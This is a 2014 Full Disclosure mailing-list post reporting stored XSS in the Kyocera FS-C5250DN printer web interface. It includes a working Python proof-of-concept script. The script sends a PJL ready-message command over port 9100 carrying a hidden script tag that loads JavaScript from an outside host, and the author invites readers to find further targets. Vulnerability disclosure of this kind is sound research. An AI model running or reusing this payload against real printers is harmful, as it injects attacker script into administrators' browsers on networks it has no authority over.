full-disclosure - [FD] Unusual XSS in Kyocera FS5250 printer control panel.

Open Source and information security mailing list archives

Message-ID: <CAAHcKrquQpH-dLXk9ynjg7xX=4mZwhDBFan2RBECS_=+_xjBiA@mail.gmail.com>
Date: Wed, 2 Apr 2014 16:59:40 +0100
From: Jeff Sergeant <jeffuk@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Unusual XSS in Kyocera FS5250 printer control panel.

Found the below on a printer a couple of years ago, sent to Kyocera but
never heard anything back...

Changing the 'Ready' message on a printer is quite a well known prank (And
much fun was had with this yesterday!)  but also an interesting avenue for
injecting XSS,  as the Kyocera printer management interface plays the
status message back without any filtering.

It's quite a fun little hack!  Not having a Kyocera any more I can't test
it further, or whether it's now fixed, but it worked pretty consistently at
the time.  Might work in other makes/models of printers; please let me know
on here if you find any!

As the status message on printers is pretty well trusted;  injecting into
it causes side effects in all sorts of things,  I leave it up to the reader
to find other bits of software that capture these and replay them to users
unfiltered!

Python POC, sorry if the formatting gets mangled, first time posting code
to mailman:
##############################
# Date: 30/07/2012
# Semi*-persistent XSS in Kyocera web interface; tested on FS-C5250DN, may
work on other models.
#
# 1. The message currently on the printer's LCD is shown on the web
interface, unfiltered.
# 2. We can change this message using PJL commands
# 1+2 == xss
# for extra fun, the message can be longer than the display, so you can
hide your XSS :)
#
# *This resets on reboot, but how often do people reboot their printers?
#
##############################
import socket
HOST='10.0.0.1'
PORT=9100
#OPMSG      Pauses the printer until the users goes and mashes the buttons,
useful for social engineering in theory, could never get this to work
consistently in practice.
#RDYMSG     Persists until reboot
#base="@PJL OPMSG DISPLAY=\""

base="@PJL RDYMSG DISPLAY=\""
message="Ready                "
xss="<script src=http://ha.ckers.org/xss.js />"
payload= base + message + xss +  "\"\n\r"

print payload

s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,
socket.SOCK_STREAM):
    af, socktype, proto, canonname, sa = res
    try:
        s = socket.socket(af, socktype, proto)
    except socket.error, msg:
        s = None
        continue
    try:
        s.connect(sa)
    except socket.error, msg:
        s.close()
        s = None
        continue
    break
if s is None:
    print 'could not open socket'
    sys.exit(1)
s.sendall(payload)
s.close()
#Visit 10.0.0.1 now, and you'll get your xss back.

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives